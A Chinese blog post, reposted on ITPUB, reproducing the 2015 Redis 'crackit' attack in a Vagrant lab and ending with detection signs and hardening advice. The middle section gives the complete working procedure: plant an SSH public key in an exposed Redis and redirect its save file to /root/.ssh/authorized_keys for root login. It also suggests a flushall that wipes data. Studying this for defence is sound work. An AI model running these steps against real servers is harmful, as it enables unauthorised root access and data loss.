Redis crackit 漏洞嘗試

壹頁書發表於2015-12-23
http://www.aneasystone.com/archives/2015/11/redis-crackit.html

Redis crackit 漏洞嘗試

最近爆出來的 Redis crackit 漏洞一直沸沸揚揚,趁著週末的時間研究了一下。研究之餘不免感嘆,這個漏洞簡單粗暴,甚至可以說沒有任何技術含量,卻能對全球網路造成癱瘓之勢,一夜之間幾萬臺伺服器接連淪陷。縱觀這個漏洞的各個關鍵點,幾乎都是由於配置疏忽導致的,可見運維同學還是任重而道遠啊。

一、準備工作

網路入侵是違法行為,請在虛擬環境下進行本次實驗!

為了在本地進行實驗,首先,我們需要有一臺安裝了 redis-server 的虛擬機器,我們使用 Vagrant 自帶的 hashicorp/precise32 映象,虛擬機器啟動好之後,使用 vagrant ssh 連線。

1
2
3
$ vagrant init hashicorp/precise32
$ vagrant up
$ vagrant ssh

由於新的映象中預設並沒有 redis-server ,我們先要安裝並啟動它。這裡要注意,vagrant 預設使用的使用者名稱是 vagrant 使用者,而不是 root 使用者,需要使用下面的命令,切換到 root 使用者,並使用 passwd 命令給 root 使用者設定一個密碼:

1
2
vagrant@precise32:~$ sudo su -
root@precise32:~# passwd

root 使用者設定好之後,安裝 redis-server:

1
root@precise32:~# apt-get install redis-server

執行 redis-server:

1
root@precise32:~# redis-server /etc/redis/redis.conf

至此,準備工作就緒,確保實驗環境的 redis-server 已啟動,並且是以 root 使用者執行的:



二、折騰下 vagrant ssh

這裡還有一點要注意,因為剛剛是使用 vagrant ssh 連線的虛擬機器,和真實環境下使用 ssh 命令還是有所區別,為了使用 ssh 連線虛擬機器,需要弄明白 vagrant ssh 的實現原理。我們通過 vagrant ssh-config 命令檢視下 vagrant ssh 配置:

1
2
3
4
5
6
7
8
9
10
11
$ vagrant ssh-config
Host default
  HostName 127.0.0.1
  User vagrant
  Port 2222
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/aneasystone/vagrant/.vagrant/machines/default/virtualbox/private_key
  IdentitiesOnly yes
  LogLevel FATAL

我們再看下 ssh 命令的 man 手冊:




看看 vagrant 的這個配置,和 ssh 的 -o 選項完全一樣。實際上,vagrant 正是通過 ssh 的 -o 或者 -F 來設定引數的。

我們將 vagrant ssh-config 匯入到配置檔案中:

1
$ vagrant ssh-config > vagrant-ssh

然後通過 ssh 的 -F 引數,來連線虛擬機器:

1
$ ssh -F vagrant-ssh root@default

或者使用 -o 指定引數:

1
$ ssh -o HostName=127.0.0.1 -o Port=2222 root@default

這個時候,我們就可以通過 ssh 來連線虛擬機器了。這個步驟對於我們最後的成功入侵至關重要。

三、還原漏洞現場

做了這麼多的鋪墊,實際上真正的入侵只有下面幾步:

3.1 生成 rsa 公鑰和私鑰

首先通過 ssh-keygen -t rsa 命令生成一對金鑰檔案(id_rsa 和 id_rsa.pub)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/aneasystone/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:7Gak3RoiBuoUBceedJxMw8YTFF2n52aiS5MgTFl+tNg aneasystone@little-stone
The key's randomart image is:
+---[RSA 2048]----+
| ...BB=... .     |
|  oo+X=.. o      |
|  o++o.E . .     |
|  +o  ..  o      |
| ..o .  S. +     |
| .... .=o.+      |
|..  o o=* .      |
|o  . ..+oo       |
| .     ..        |
+----[SHA256]-----+

3.2 給公鑰檔案加上換行

由於生成的公鑰檔案只有一行,我們在前後加上幾個空行。

1
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo

3.3 將公鑰寫入 redis

通過聯合 cat 和 redis-cli 的 -x 引數將公鑰檔案寫到對方 redis 快取裡。這個地方要注意,如果對方的 redis 快取不為空,需要使用flushall 命令清空快取。

請確保快取中沒有重要資料,清空之前請慎重!

1
$ cat foo | redis-cli -h default -x set crackit

3.4 將公鑰儲存到對方的 /root/.ssh 目錄

然後是攻擊最後一步,也是最重要的一步!將公鑰儲存到對方的 .ssh 目錄的 authorized_keys 檔案!

這裡假設了 redis-server 是以 root 身份執行的,並且對方機器上存在 /root/.ssh 目錄。如果不是以 root 身份執行的,這裡就需要猜使用者名稱了。

1
2
3
4
5
6
7
8
9
10
$ redis-cli -h default
$ 127.0.0.1:6379> config set dir /root/.ssh/
OK
$ 127.0.0.1:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 127.0.0.1:6379> config set dbfilename authorized_keys
OK
$ 127.0.0.1:6379> save
OK

3.5 驗收

如果一切順利,對方伺服器上的公鑰檔案已經被成功篡改了。那麼使用我們剛剛建立的私鑰(使用 ssh 的 -i 選項),可以無需密碼即可連線對方機器:

1
2
3
4
5
6
7
8
9
10
$ ssh -o HostName=127.0.0.1 -o Port=2222 -i id_rsa root@default
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.2.0-23-generic-pae i686)
 
 * Documentation:  https://help.ubuntu.com/
New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
 
Welcome to your Vagrant-built virtual machine.
Last login: Sun Nov 22 06:14:03 2015 from 10.0.2.2
root@precise32:~#

三、判斷自己有沒有中槍

如果出現以下情況,則說明很有可能你已經中槍:

  1. 快取被莫名清空
  2. 快取中多了一個 crackit (或其他類似的)鍵
  3. 使用 redis 的 config get dir 命令檢查是否指向了 /root/.ssh
  4. /.ssh/authorized_keys 檔案有被篡改的痕跡
  5. 伺服器上執行著不明程式

四、如何修復漏洞

縱觀整個攻擊流程,之所以很順利,都是因為 redis-server 的預設配置有著諸多不足,而運維同學為了簡單,都直接使用了預設配置。

  1. 修改 redis 的 bind 引數,不要 bind 0.0.0.0,讓 redis 服務只能內網訪問
  2. 修改 redis 的 requirepass 引數,訪問 redis 增加密碼認證
  3. 修改 redis 的 port 引數,不要使用預設的 6379 埠號
  4. 修改 redis 的 rename-command 引數,將 CONFIG 設定為 "" ,也就是禁用 CONFIG 命令
  5. 以非 root 使用者執行 redis 服務
  6. 升級最近版 redis,(最新版的 redis 已經部分修復了該問題,預設 bind 127.0.0.1,並以 redis 使用者執行的)

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/29254281/viewspace-1878366/,如需轉載,請註明出處,否則將追究法律責任。

相關文章